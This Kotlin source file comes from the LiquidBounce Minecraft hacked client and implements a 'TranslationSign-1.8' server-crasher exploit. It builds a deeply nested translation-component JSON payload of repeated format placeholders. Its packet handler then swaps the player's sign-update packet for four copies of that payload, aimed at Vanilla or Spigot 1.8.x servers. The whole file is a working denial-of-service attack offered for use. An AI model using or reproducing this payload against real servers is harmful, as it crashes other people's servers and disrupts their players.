/*
 * This file is part of LiquidBounce (https://github.com/CCBlueX/LiquidBounce)
 *
 * Copyright (c) 2015 - 2026 CCBlueX
 *
 * LiquidBounce is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * LiquidBounce is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with LiquidBounce. If not, see <https://www.gnu.org/licenses/>.
 */

package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits

import net.ccbluex.liquidbounce.config.types.group.Mode
import net.ccbluex.liquidbounce.config.types.group.ModeValueGroup
import net.ccbluex.liquidbounce.event.events.PacketEvent
import net.ccbluex.liquidbounce.event.handler
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher
import net.ccbluex.liquidbounce.utils.client.chat
import net.ccbluex.liquidbounce.utils.client.isEqual1_8
import net.ccbluex.liquidbounce.utils.client.markAsError
import net.ccbluex.liquidbounce.utils.client.regular
import net.ccbluex.liquidbounce.utils.client.send1_8SignUpdate
import net.ccbluex.liquidbounce.utils.client.usesViaFabricPlus
import net.minecraft.network.protocol.game.ServerboundSignUpdatePacket

/**
 * Translation sign exploit
 * Works on Vanilla/Spigot 1.8.x
 *
 * Originally found by https://github.com/Outfluencer and then found by me (cuddlycatgirl) and some others.
 */
object TranslationSign18Exploit : Mode("TranslationSign-1.8") {

    override val parent: ModeValueGroup<Mode>
        get() = ModuleServerCrasher.exploitChoices

    private const val TEXT = "{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"a\",\"a\"]}]}]}]}]}]}]}]}"

    @Suppress("unused")
    private val packetHandler = handler<PacketEvent> { event ->
        val original = event.packet

        if (original is ServerboundSignUpdatePacket) {
            if (!usesViaFabricPlus) {
                chat(markAsError(ModuleServerCrasher.message("signExploit.missingProtocolTranslator")))
                return@handler
            }

            if (!isEqual1_8) {
                chat(markAsError(ModuleServerCrasher.message("signExploit.wrongProtocolVersion")))
                return@handler
            }

            runCatching {
                send1_8SignUpdate(original.pos, arrayOf(
                    TEXT,
                    TEXT,
                    TEXT,
                    TEXT
                ))
                event.cancelEvent()
            }.onFailure {
                chat(markAsError("${it.javaClass.name}: ${it.message}"))
            }.onSuccess {
                chat(regular(ModuleServerCrasher.message("signExploit.alteredSignPacket")))
            }

        }
    }

}
